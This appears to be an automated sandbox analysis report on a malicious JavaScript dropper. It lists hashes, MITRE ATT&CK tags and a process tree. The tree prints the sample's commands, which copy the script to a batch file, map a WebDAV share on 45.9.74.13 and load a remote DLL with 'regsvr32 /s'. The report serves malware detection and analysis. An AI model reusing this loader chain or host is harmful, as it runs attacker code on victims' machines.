1c3936cfb4d3c23d0d4ec5a41570cf3d468f3ef3eed898a45f518d737eac1339

Analysis

max time kernel
92s
max time network
99s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
08/07/2024, 17:51

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General

Target

2347325213288178791.js
Size

5KB
MD5

7b79ae18089412cd5788f57497135d0d
SHA1

d992f7bb6d4b60c02ac4ab2d93abbd1965941dae
SHA256

1c3936cfb4d3c23d0d4ec5a41570cf3d468f3ef3eed898a45f518d737eac1339
SHA512

e62fe18930946ffe0286b815f32628edfd46611bad6df2ee803100f5918045de32a29ca6444480ffa90ce4d938b50b93ee0d6921fb33edd4934841af7b9fc743
SSDEEP

48:Q3esJYM28VzZpav5VptCnHoxku43+qjJJdFd4xC40BMC3zI9jXodpTG89fdidTdT:QOrAVBHMkt7BEO98trGDmkMF

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-771719357-2485960699-3367710044-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3492 wrote to memory of 1052	3492	wscript.exe	83
PID 3492 wrote to memory of 1052	3492	wscript.exe	83
PID 1052 wrote to memory of 3892	1052	cmd.exe	86
PID 1052 wrote to memory of 3892	1052	cmd.exe	86
PID 1052 wrote to memory of 1956	1052	cmd.exe	87
PID 1052 wrote to memory of 1956	1052	cmd.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2347325213288178791.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2347325213288178791.js" "C:\Users\Admin\\vrndqv.bat" && "C:\Users\Admin\\vrndqv.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1052
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:3892
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\507.dll
    3⤵
    PID:1956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\vrndqv.bat

Filesize
5KB

MD5
7b79ae18089412cd5788f57497135d0d

SHA1
d992f7bb6d4b60c02ac4ab2d93abbd1965941dae

SHA256
1c3936cfb4d3c23d0d4ec5a41570cf3d468f3ef3eed898a45f518d737eac1339

SHA512
e62fe18930946ffe0286b815f32628edfd46611bad6df2ee803100f5918045de32a29ca6444480ffa90ce4d938b50b93ee0d6921fb33edd4934841af7b9fc743

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